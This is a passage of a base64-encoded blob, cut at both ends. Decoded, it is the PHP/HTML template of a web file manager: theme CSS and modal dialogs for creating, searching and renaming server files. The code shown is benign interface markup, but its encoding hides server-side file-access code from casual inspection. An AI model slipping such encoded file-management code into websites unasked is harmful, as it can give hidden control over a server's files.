tYmV6aWVyKDAsIC41LCAuNSwgMSkgaW5maW5pdGVcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmxkcy1mYWNlYm9vayBkaXY6bnRoLWNoaWxkKDEpIHtcbiAgICAgICAgICAgICAgICBsZWZ0OiA2cHg7XG4gICAgICAgICAgICAgICAgYW5pbWF0aW9uLWRlbGF5OiAtLjI0c1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rIGRpdjpudGgtY2hpbGQoMikge1xuICAgICAgICAgICAgICAgIGxlZnQ6IDI2cHg7XG4gICAgICAgICAgICAgICAgYW5pbWF0aW9uLWRlbGF5OiAtLjEyc1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rIGRpdjpudGgtY2hpbGQoMykge1xuICAgICAgICAgICAgICAgIGxlZnQ6IDQ1cHg7XG4gICAgICAgICAgICAgICAgYW5pbWF0aW9uLWRlbGF5OiAwc1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBAa2V5ZnJhbWVzIGxkcy1mYWNlYm9vayB7XG4gICAgICAgICAgICAgICAgMCUge1xuICAgICAgICAgICAgICAgICAgICB0b3A6IDZweDtcbiAgICAgICAgICAgICAgICAgICAgaGVpZ2h0OiA1MXB4XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgMTAwJSxcbiAgICAgICAgICAgICAgICA1MCUge1xuICAgICAgICAgICAgICAgICAgICB0b3A6IDE5cHg7XG4gICAgICAgICAgICAgICAgICAgIGhlaWdodDogMjZweFxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgdWwjc2VhcmNoLXdyYXBwZXIge1xuICAgICAgICAgICAgICAgIHBhZGRpbmctbGVmdDogMDtcbiAgICAgICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZWNlY2VjY2M7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIHVsI3NlYXJjaC13cmFwcGVyIGxpIHtcbiAgICAgICAgICAgICAgICBsaXN0LXN0eWxlOiBub25lO1xuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDVweDtcbiAgICAgICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2VjZWNlY2NjO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICB1bCNzZWFyY2gtd3JhcHBlciBsaTpudGgtY2hpbGQob2RkKSB7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZDogI2Y5ZjlmOWNjO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuYy1wcmV2aWV3LWltZyB7XG4gICAgICAgICAgICAgICAgbWF4LXdpZHRoOiAzMDBweDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJvcmRlci1yYWRpdXMtMCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZsb2F0LXJpZ2h0IHtcbiAgICAgICAgICAgICAgICBmbG9hdDogcmlnaHQ7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC50YWJsZS1ob3Zlcj50Ym9keT50cjpob3Zlcj50ZDpmaXJzdC1jaGlsZCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWxlZnQ6IDFweCBzb2xpZCAjMWI3N2ZkO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbWFpbi10YWJsZSB0ci5ldmVuIHtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjRjhGOUZhO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuZmlsZW5hbWU+YT5pIHtcbiAgICAgICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IDNweDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZzLTcge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTRweDtcbiAgICAgICAgICAgIH1cbiAgICAgICAgPFwvc3R5bGU+XG4gICAgICAgIDw/cGhwXG4gICAgICAgIGlmIChGTV9USEVNRSA9PSBcImRhcmtcIik6ID8+XG4gICAgICAgICAgICA8c3R5bGU+XG4gICAgICAgICAgICAgICAgOnJvb3Qge1xuICAgICAgICAgICAgICAgICAgICAtLWJzLWJnLW9wYWNpdHk6IDE7XG4gICAgICAgICAgICAgICAgICAgIC0tYmctY29sb3I6ICNmM2RhYTY7XG4gICAgICAgICAgICAgICAgICAgIC0tYnMtZGFyay1yZ2I6IDI4LCAzNiwgNDEgIWltcG9ydGFudDtcbiAgICAgICAgICAgICAgICAgICAgLS1icy1iZy1vcGFjaXR5OiAxO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIGJvZHkudGhlbWUtZGFyayB7XG4gICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IGxpbmVhci1ncmFkaWVudCg5MGRlZywgIzFjMjQyOSwgIzI2MzIzOCk7XG4gICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjQ0ZEOERDO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIC5saXN0LWdyb3VwIC5saXN0LWdyb3VwLWl0ZW0ge1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMzQzYTQwO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIC50aGVtZS1kYXJrIC5uYXZiYXItbmF2IGksXG4gICAgICAgICAgICAgICAgLm5hdmJhci1uYXYgLmRyb3Bkb3duLXRvZ2dsZSxcbiAgICAgICAgICAgICAgICAuYnJlYWstd29yZCB7XG4gICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjQ0ZEOERDO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIGEsXG4gICAgICAgICAgICAgICAgYTpob3ZlcixcbiAgICAgICAgICAgICAgICBhOnZpc2l0ZWQsXG4gICAgICAgICAgICAgICAgYTphY3RpdmUsXG4gICAgICAgICAgICAgICAgI21haW4tdGFibGUgLmZpbGVuYW1lIGEsXG4gICAgICAgICAgICAgICAgaS5mYS5mYS1mb2xkZXItbyxcbiAgICAgICAgICAgICAgICBpLmdvLWJhY2sge1xuICAgICAgICAgICAgICAgICAgICBjb2xvcjogdmFyKC0tYmctY29sb3IpO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIHVsI3NlYXJjaC13cmFwcGVyIGxpOm50aC1jaGlsZChvZGQpIHtcbiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzIxMmEyZjtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAuYnRuLW91dGxpbmUtcHJpbWFyeSB7XG4gICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjYjhlNTljO1xuICAgICAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6ICNiOGU1OWM7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgLnRoZW1lLWRhcmsgLmJ0bi1vdXRsaW5lLXByaW1hcnk6aG92ZXIsXG4gICAgICAgICAgICAgICAgLnRoZW1lLWRhcmsgLmJ0bi1vdXRsaW5lLXByaW1hcnk6YWN0aXZlIHtcbiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzJkNDEyMTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayBpbnB1dC5mb3JtLWNvbnRyb2wge1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMTAxNTE4O1xuICAgICAgICAgICAgICAgICAgICBjb2xvcjogI0NGRDhEQztcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAuZHJvcHpvbmUge1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAuaW5saW5lLWFjdGlvbnM+YT5pIHtcbiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzc5NzU1ZTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAudGV4dC13aGl0ZSB7XG4gICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjQ0ZEOERDICFpbXBvcnRhbnQ7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgLnRoZW1lLWRhcmsgLnRhYmxlLWJvcmRlcmVkIHRkLFxuICAgICAgICAgICAgICAgIC50YWJsZS1ib3JkZXJlZCB0aCB7XG4gICAgICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogIzM0MzQzNDtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAudGFibGUtYm9yZGVyZWQgdGQgLmN1c3RvbS1jb250cm9sLWlucHV0LFxuICAgICAgICAgICAgICAgIC50aGVtZS1kYXJrIC50YWJsZS1ib3JkZXJlZCB0aCAuY3VzdG9tLWNvbnRyb2wtaW5wdXQge1xuICAgICAgICAgICAgICAgICAgICBvcGFjaXR5OiAwLjY3ODtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAubWVzc2FnZSB7XG4gICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMyMTI1Mjk7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgZm9ybS5kcm9wem9uZSB7XG4gICAgICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogIzc5NzU1ZTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICA8XC9zdHlsZT5cbiAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgPFwvaGVhZD5cblxuICAgIDxib2R5IGNsYXNzPVwiPD9waHAgZWNobyAoRk1fVEhFTUUgPT0gXCJkYXJrXCIpID8gJ3RoZW1lLWRhcmsnIDogJyc7ID8+IDw/cGhwIGVjaG8gJGlzU3RpY2t5TmF2QmFyOyA/PlwiPlxuICAgICAgICA8ZGl2IGlkPVwid3JhcHBlclwiIGNsYXNzPVwiY29udGFpbmVyLWZsdWlkXCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwgZmFkZVwiIGlkPVwiY3JlYXRlTmV3SXRlbVwiIHRhYmluZGV4PVwiLTFcIiByb2xlPVwiZGlhbG9nXCIgZGF0YS1icy1iYWNrZHJvcD1cInN0YXRpY1wiIGRhdGEtYnMta2V5Ym9hcmQ9XCJmYWxzZVwiIGFyaWEtbGFiZWxsZWRieT1cIm5ld0l0ZW1Nb2RhbExhYmVsXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWRpYWxvZ1wiIHJvbGU9XCJkb2N1bWVudFwiPlxuICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cIm1vZGFsLWNvbnRlbnRcIiBtZXRob2Q9XCJwb3N0XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtaGVhZGVyXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGg1IGNsYXNzPVwibW9kYWwtdGl0bGVcIiBpZD1cIm5ld0l0ZW1Nb2RhbExhYmVsXCI+PGkgY2xhc3M9XCJmYSBmYS1wbHVzLXNxdWFyZSBmYS1md1wiPjxcL2k+PD9waHAgZWNobyBsbmcoJ0NyZWF0ZU5ld0l0ZW0nKSA/PjxcL2g1PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIGNsYXNzPVwiYnRuLWNsb3NlXCIgZGF0YS1icy1kaXNtaXNzPVwibW9kYWxcIiBhcmlhLWxhYmVsPVwiQ2xvc2VcIj48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtYm9keVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxsYWJlbCBmb3I9XCJuZXdmaWxlXCI+PD9waHAgZWNobyBsbmcoJ0l0ZW1UeXBlJykgPz4gPFwvbGFiZWw+PFwvcD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1jaGVjayBmb3JtLWNoZWNrLWlubGluZVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJmb3JtLWNoZWNrLWlucHV0XCIgdHlwZT1cInJhZGlvXCIgbmFtZT1cIm5ld2ZpbGVcIiBpZD1cImN1c3RvbVJhZGlvSW5saW5lMVwiIG5hbWU9XCJuZXdmaWxlXCIgdmFsdWU9XCJmaWxlXCIgY2hlY2tlZD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPVwiZm9ybS1jaGVjay1sYWJlbFwiIGZvcj1cImN1c3RvbVJhZGlvSW5saW5lMVwiPjw/cGhwIGVjaG8gbG5nKCdGaWxlJykgPz48XC9sYWJlbD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZvcm0tY2hlY2sgZm9ybS1jaGVjay1pbmxpbmVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPVwiZm9ybS1jaGVjay1pbnB1dFwiIHR5cGU9XCJyYWRpb1wiIG5hbWU9XCJuZXdmaWxlXCIgaWQ9XCJjdXN0b21SYWRpb0lubGluZTJcIiB2YWx1ZT1cImZvbGRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9XCJmb3JtLWNoZWNrLWxhYmVsXCIgZm9yPVwiY3VzdG9tUmFkaW9JbmxpbmUyXCI+PD9waHAgZWNobyBsbmcoJ0ZvbGRlcicpID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJtdC0zXCI+PGxhYmVsIGZvcj1cIm5ld2ZpbGVuYW1lXCI+PD9waHAgZWNobyBsbmcoJ0l0ZW1OYW1lJykgPz4gPFwvbGFiZWw+PFwvcD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3ZmlsZW5hbWVcIiBpZD1cIm5ld2ZpbGVuYW1lXCIgdmFsdWU9XCJcIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIHBsYWNlaG9sZGVyPVwiPD9waHAgZWNobyBsbmcoJ0VudGVyIGhlcmUuLi4nKSA/PlwiIHJlcXVpcmVkPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWZvb3RlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRva2VuXCIgdmFsdWU9XCI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJidXR0b25cIiBjbGFzcz1cImJ0biBidG4tb3V0bGluZS1wcmltYXJ5XCIgZGF0YS1icy1kaXNtaXNzPVwibW9kYWxcIj48aSBjbGFzcz1cImZhIGZhLXRpbWVzLWNpcmNsZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdDYW5jZWwnKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0biBidG4tc3VjY2Vzc1wiPjxpIGNsYXNzPVwiZmEgZmEtY2hlY2stY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NyZWF0ZU5vdycpID8+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9mb3JtPlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cblxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsIGZhZGVcIiBpZD1cInNlYXJjaE1vZGFsXCIgdGFiaW5kZXg9XCItMVwiIHJvbGU9XCJkaWFsb2dcIiBhcmlhLWxhYmVsbGVkYnk9XCJzZWFyY2hNb2RhbExhYmVsXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWRpYWxvZyBtb2RhbC1sZ1wiIHJvbGU9XCJkb2N1bWVudFwiPlxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtY29udGVudFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWhlYWRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoNSBjbGFzcz1cIm1vZGFsLXRpdGxlIGNvbC0xMFwiIGlkPVwic2VhcmNoTW9kYWxMYWJlbFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiaW5wdXQtZ3JvdXAgbWItM1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJ0ZXh0XCIgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiBwbGFjZWhvbGRlcj1cIjw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PiA8P3BocCBlY2hvIGxuZygnYSBmaWxlcycpID8+XCIgYXJpYS1sYWJlbD1cIjw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PlwiIGFyaWEtZGVzY3JpYmVkYnk9XCJzZWFyY2gtYWRkb24zXCIgaWQ9XCJhZHZhbmNlZC1zZWFyY2hcIiBhdXRvZm9jdXMgcmVxdWlyZWQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz1cImlucHV0LWdyb3VwLXRleHRcIiBpZD1cInNlYXJjaC1hZGRvbjNcIj48aSBjbGFzcz1cImZhIGZhLXNlYXJjaFwiPjxcL2k+PFwvc3Bhbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2g1PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIGNsYXNzPVwiYnRuLWNsb3NlXCIgZGF0YS1icy1kaXNtaXNzPVwibW9kYWxcIiBhcmlhLWxhYmVsPVwiQ2xvc2VcIj48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtYm9keVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImxkcy1mYWNlYm9va1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2PjxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXY+PFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBpZD1cInNlYXJjaC13cmFwcGVyXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz1cIm0tMlwiPjw/cGhwIGVjaG8gbG5nKCdTZWFyY2ggZmlsZSBpbiBmb2xkZXIgYW5kIHN1YmZvbGRlcnMuLi4nKSA/PjxcL3A+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL3VsPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Zvcm0+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8XC9kaXY+XG5cbiAgICAgICAgICAgIDwhLS1SZW5hbWUgTW9kYWwgLS0+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwgbW9kYWwtYWxlcnRcIiBkYXRhLWJzLWJhY2tkcm9wPVwic3RhdGljXCIgZGF0YS1icy1rZXlib2FyZD1cImZhbHNlXCIgdGFiaW5kZXg9XCItMVwiIHJvbGU9XCJkaWFsb2dcIiBpZD1cInJlbmFtZURhaWxvZ1wiIGRhdGEtYnMtdGhlbWU9XCI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PlwiPlxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtb2RhbC1kaWFsb2dcIiByb2xlPVwiZG9jdW1lbnRcIj5cbiAgICAgICAgICAgICAgICAgICAgPGZvcm0gY2xhc3M9XCJtb2RhbC1jb250ZW50IHJvdW5kZWQtMyBzaGFkb3dcIiBtZXRob2Q9XCJwb3N0XCIgYXV0b2NvbXBsZXRlPVwib2ZmXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtYm9keSBwLTQgdGV4dC1jZW50ZXJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDUgY2xhc3M9XCJtYi0zXCI+PD9waHAgZWNobyBsbmcoJ0FyZSB5b3Ugc3VyZSB3YW50IHRvIHJlbmFtZT8nKSA/PjxcL2g1PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwIGNsYXNzPVwibWItMVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwicmVuYW1lX3RvXCIgaWQ9XCJqcy1yZW5hbWUtdG9cIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIHBsYWNlaG9sZGVyPVwiPD9waHAgZWNobyBsbmcoJ0VudGVyIG5ldyBmaWxlIG5hbWUnKSA/PlwiIHJlcXVpcmVkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ0b2tlblwiIHZhbHVlPVwiPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInJlbmFtZV9mcm9tXCIgaWQ9XCJqcy1yZW5hbWUtZnJvbVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL3A+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtZm9vdGVyIGZsZXgtbm93cmFwIHAtMFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIGNsYXNzPVwiYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTAgYm9yZGVyLWVuZFwiIGRhdGEtYnMtZGlzbWlzcz1cIm1vZGFsXCI+PD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTBcIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCdPa2F5JykgPz48XC9zdHJvbmc+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9mb3JtPlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cblxuICAgICAgICAgICAgPCEtLSBDb25maXJtIE1vZGFsIC0tPlxuICAgICAgICAgICAgPHNjcmlwdCB0eXBlPVwidGV4dFwvaHRtbFwiIGlkPVwianMtdHBsLWNvbmZpcm1cIj5cbiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwgbW9kYWwtYWxlcnQgY29uZmlybURhaWxvZ1wiIGRhdGEtYnMtYmFja2Ryb3A9XCJzdGF0aWNcIiBkYXRhLWJzLWtleWJvYXJkPVwiZmFsc2VcIiB0YWJpbmRleD1cIi0xXCIgcm9sZT1cImRpYWxvZ1wiIGlkPVwiY29uZmlybURhaWxvZy08JXRoaXMuaWQlPlwiIGRhdGEtYnMtdGhlbWU9XCI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtZGlhbG9nXCIgcm9sZT1cImRvY3VtZW50XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cIm1vZGFsLWNvbnRlbnQgcm91bmRlZC0zIHNoYWRvd1wiIG1ldGhvZD1cInBvc3RcIiBhdXRvY29tcGxldGU9XCJvZmZcIiBhY3Rpb249XCI8JXRoaXMuYWN0aW9uJT5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtYm9keSBwLTQgdGV4dC1jZW50ZXJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGg1IGNsYXNzPVwibWItMlwiPjw/cGhwIGVjaG8gbG5nKCdBcmUgeW91IHN1cmUgd2FudCB0bycpID8+IDwldGhpcy50aXRsZSU+ID88XC9oNT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJtYi0xXCI+PCV0aGlzLmNvbnRlbnQlPjxcL3A+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtb2RhbC1mb290ZXIgZmxleC1ub3dyYXAgcC0wXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIGNsYXNzPVwiYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTAgYm9yZGVyLWVuZFwiIGRhdGEtYnMtZGlzbWlzcz1cIm1vZGFsXCI+PD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ0b2tlblwiIHZhbHVlPVwiPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTBcIiBkYXRhLWJzLWRpc21pc3M9XCJtb2RhbFwiPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ09rYXknKSA/PjxcL3N0cm9uZz48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL3NjcmlwdD5cbiAgICAgICAgPD9waHBcbiAgICB9XG5cbiAgICBcLyoqXG4gICAgICogU2hvdyBwYWdlIGZvb3RlciBhZnRlciBsb2dpblxuICAgICAqXC9cbiAgICBmdW5jdGlvbiBmbV9zaG93X2Zvb3RlcigpXG4gICAge1xuICAgICAgICA/PlxuICAgICAgICA8XC9kaXY+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1qcXVlc